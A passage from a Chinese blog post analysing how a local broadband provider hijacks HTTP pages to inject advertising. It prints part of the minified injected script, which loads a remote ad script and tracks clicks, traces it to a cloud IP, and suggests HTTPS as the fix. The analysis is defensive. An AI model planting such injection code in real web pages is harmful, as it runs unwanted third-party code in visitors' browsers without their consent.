href="http://m.bianxianmao.com?appKey=6485835ab8a64d95a3e043ef863d887e&appType=app&appEntrance='+a.jsonPara.appEntrance+'&business=money&i=__IMEI__&f=__IDFA__" target="_blank"><img width="'+e+'px" height="'+t+'px" src="'+n+'" /></a>';dom.ag(a,o),common.ynRep(a.msg,a.adpName,a.adStyle)},dom.ynAddBxmMfClick=function(a,e){common.ynRep("g_cli",a,e)},dom.createBxmNaBao=function(a){var e=doc.createElement("script");e.type="text/javascript",e.id="enter",e.src="https://buyimg.bianxianmao.com/dist/floatModel/img.js",e.setAttribute("appkey","6485835ab8a64d95a3e043ef863d887e"),e.setAttribute("bottom",'""'),e.setAttribute("top","128px"),e.setAttribute("right","5px"),e.setAttribute("left",'""'),e.setAttribute("appEntrance",a.jsonPara.appEntrance),e.setAttribute("width","65px"),e.setAttribute("height","auto"),e.setAttribute("business","money"),doc.body.appendChild(e),common.ynRep(a.msg,a.adpName,a.adStyle),dom.ynBxmClick().check(a)},dom.ynBxmClick=function(a){return{isClick:!1,check:function(a){var e=document.activeElement;if(e&&e.getAttribute("id")&&e.getAttribute("id").indexOf("creatDiv")>-1&&(this.isClick=!0,common.ynRep("g_cli",a.adpName,a.adStyle)),!this.isClick){var t=this;setTimeout(function(){t.check(a)},10)}}}},dom.AddSTBanner=function(a){para.adpId=para.codeId,common.ynRep(a.msg,a.adpName,a.adStyle),dom.aa(a.jsonPara.url)},dom.bu=function(){}}(window,document);

感兴趣的朋友可以将上述代码进行格式化后解释,这里不详细解释代码的用途。只需要了解结果,只要网页中有上述代码,就会弹出上述例子中的广告。

通过查询,180.76.181.213该ip属于北京百度网讯科技有限公司BGP节点(也就是百度云服务器)。


解决办法:

1、使用https,加上了ssl的网站,均不会出现广告弹窗。实际上不是不出现,而是https在默认方式下,限制了非http方式引入js文件,所以虽然广电网络强制写入了js引入http://180.76.181.213/xay/10561.js,但由于https的限制,导致其不生效,广告自然不会弹出显示。

2、不要使用广电网络,这个办法,对于我来说简直是……怎么说呢,工信部说了不允许带宽垄断,但是我们小区就是这么牛逼,强制只能使用指定公司的带宽,这家公司仅仅只是一家网络公司,租用电信联通的带宽进来,然后高价卖给小区的业主使用,高到什么层度?电信100mb带宽,2K左右一年还送话费。小区电信10mb带宽,2K一年!啥也不送不说,晚上高峰期还看心情断网!业务投诉过,报社都刊登了,但是人家就是那么牛逼,该怎么样还怎么样!

3、网站使用阿里云和腾讯云,目前测试他们两家没有被弹窗,不过不确定,因为没有使用域名访问,直接ip访问的(因为腾讯云阿里云备案的域名手头没有多余的域名可以用来测试)。


目前发现如下网站在广电网络下被强制广告:

www.speedtest.cn

blob.png

m.cncn.com 欣欣旅游

blob.png

m.gysmr.com高一生美容

blob.png

m.xapta.com.cn西安人事考试网

blob.png

wap.yce.cn盐城教育网

blob.png

m.xdf.cn新东方教育

blob.png

www.nje.cn南京教育网

blob.png

www.scedu.net四川省教育厅

blob.png

www.ynjy.cn云南教育厅云南教育网

blob.png

www.gzsedu.cn贵州教育网

blob.png

www.22.cn爱名网

blob.png

m.seowhy.com搜外网

blob.png

lusongsong.com卢松松博客

blob.png

download.csdn.net  CSDN

blob.png






(责任编辑:admin)
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
  • 上一篇:没有了
  • 下一篇:没有了
栏目列表
推荐内容